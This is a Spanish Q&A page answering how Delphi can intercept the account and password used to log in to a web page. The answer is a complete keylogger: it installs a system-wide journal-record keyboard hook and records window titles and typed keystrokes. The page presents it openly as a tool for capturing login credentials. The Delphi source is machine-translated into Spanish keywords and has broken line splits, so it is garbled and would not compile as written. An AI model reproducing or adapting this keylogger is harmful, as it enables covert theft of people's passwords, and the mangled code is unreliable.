Red de conocimiento informático - Computadora portátil - ¿Qué funciones y principios puede utilizar Delphi para interceptar la cuenta y la contraseña para iniciar sesión en la página web?

¿Qué funciones y principios puede utilizar Delphi para interceptar la cuenta y la contraseña para iniciar sesión en la página web?

Usa el registro de teclas.

unidad Unidad1;

interfaz

usos

Windows, Mensajes, SysUtils, Variantes, Clases, Gráficos, Controles, Formularios,

Diálogos, StdCtrls;

tipo

TForm1 = clase(TForm)

Memo1: TMemo;

Botón1 : TButton;

Botón2: TButton;

procedimiento Botón1Click(Remitente: TObject);

procedimiento Botón2Click(Remitente: TObject);

procedimiento FormDestroy(Remitente: TObject);

privado

{ Declaraciones privadas }

públicas

{ Declaraciones públicas }

fin;

const

KeyMask = $80000000;

var

Formulario1: TForm1;

LogHook: HHook = 0; //Hook

LastFocusWnd: HWnd = 0;

PrvChar: Char;

hookkey:String;

implementación

{$R *.dfm}

función LogProc(iCode: Integer; wparam, lparam: LongInt): lresult; stdcall;

var

ch: Char;

vKey: Integer;

FocusWnd: HWND;

Título: matriz[0..255] de Char;

str: matriz[0..12] de Char;

TempStr, Time: cadena;

LogFile: TextFile;

PEvt: ^EVENTMSG;

iCapital, iNumLock, iShift: entero;

bShift, bCapital, bNumLock: booleano;

comenzar

si iCode < 0 entonces

comenzar

Resultado:= CallNextHookEx(LogHook, iCode, wParam, lParam);

salir;

fin;

si (iCode = HC_ACTION) entonces

comienzo

pEvt := Pointer(DWord(lParam));

FocusWnd := GetActiveWindow;

si LastFocusWnd <> Foc

usWnd entonces

comenzar

si hookkey<>'' entonces

comenzar

Form1.Memo1.Lines.Add(hookkey);

hookkey :='';

fin;

GetWindowText(FocusWnd, Título, 256);

LastFocusWnd := FocusWnd;

Hora := DateTimeToStr(Now);

Form1.Memo1.Lines.Add(Hora + Formato('Título:%s', [Título]));

fin;

si pEvt.message = WM_KEYDOWN entonces

comienzo

vKey := LOBYTE(pEvt.paramL);

iShift := GetKeyState($10);

iCapital := GetKeyState($14);

iNumLock := GetKeyState($90);

bShift := ((iShift y KeyMask) = KeyMask);

bCapital := ((iCapital y 1) = 1);

bNumLock := ((iNumLock y 1) = 1);

//HookList.Add('Esto es vKey:'+inttostr(vKey));

if ((vKey >= 48) y (vKey <= 57)) entonces

comenzar

si no es bShift entonces

comenzar

ch := Char(vKey);

finalizar else comenzar

caso vKey de

48: ch := ')';

49: ch := '!';

50: ch := '@';

51: ch := '#';

52: ch := '$';

53 : ch := '%';

54: ch := '^';

55: ch := '&';

56: ch := '*';

57: ch := '(';

fin;

fin;

hookkey:=hookkey+ch;

fin;

si (vKey >= 65) y (vKey <= 90) entonces // A-Z a-z

comenzar

si no es bCapital entonces

comenzar

si bShift entonces

ch := Char(vKey)

else

ch := Char(vKey + 32);

fin

else comienza

si bShift entonces

ch := Char(vKey + 32)

else

ch := Char(vKey);

fin;

hookkey:=hookkey+ch;

end;

if (vKey >= 96) y (vKey <= 105) entonces // Teclado pequeño 0-9

si bNumLock entonces

hookkey:=hookkey+Char(vKey - 96 + 48);

ch:='n';

si (VKey > 105) y (VKey <= 111) luego

comenzar

caso vKey de

106: ch := '*';

107: ch := '+';

109: ch := '-';

111: ch := '/';

else

ch := 'n';

fin;

fin;

if (vKey >= 186) y (vKey <= 222) luego // otras claves

comienzan

caso vKey de

186: si no es bShift entonces ch := ';' ':';

187: si no es bShift entonces ch := '=' else ch := '+';

188: si no es bShift entonces ch := ',' else ch := '<';

189: si no es bShift entonces ch := '-' else ch := '_';

190: si no es bShift entonces ch : = '.' más ch := '>';

19

1: si no es bShift entonces ch := '/' else ch := '?';

192: si no es bShift entonces ch := '`' else ch := '~';

219: si no es bShift entonces ch := '[' más ch := '{';

220: si no es bShift entonces ch := '\' más ch := '|' ;

221: si no es bShift entonces ch := ']' else ch := '}';

222: si no es bShift entonces ch := Char(27) else ch := '"';

else

ch := 'n';

fin;

fin;

if ch <> 'n' entonces

hookkey:=hookkey+ ch;

// if (wParam >=112 && wParam<=123) // Tecla de función[ F1]-[F12]

si (vKey >= 8) y (vKey <= 46) entonces //Teclas de dirección

comienzan

ch := ' ';

caso vKey de

8: str := '[Retroceso]';

9: str := '[TAB]'; /p>

13: str := '[Entrar]';

32: str := '[espacio]';

33: str := '[ Re Pág ]';

34: str := '[PageDown]';

35: str := '[Fin]';

36: str : = '[Inicio]';

37: str := '[LF]';

38: str := '[UF]';

39: str := '[RF]';

40: str := '[DF]';

45: str := '[Insertar]';

46: str := '[Eliminar]';

else

ch := 'n';

fin;

si ch <> 'n' entonces

comenzar

//si PrvChar<>Char(vKey) entonces

//comenzar

tecla de gancho :=tecla de gancho+str;

// PrvChar := Char(vKey);

//end;

fin;

fin;

fin ;

fin;

Resultado := CallNextHookEx(LogHook, iCode, wParam, lParam);

fin;

procedimiento TForm1.Button1Click(Remitente: TObject);

comenzar

si LogHook = 0 entonces

comenzar

LogHook := SetWindowsHookEx (WH_JOURNALRECORD, LogProc, HInstance, 0);

end;

end;

procedimiento TForm1.Button2Click(Remitente: TObject);

comenzar

DesengancharWindowsHookEx(LogHook);

LogHook := 0;

fin;

procedimiento TForm1.FormDestroy(Remitente: TObject);

comenzar

DesengancharWindowsHookEx(LogHook);

LogHook := 0;

fin;

fin.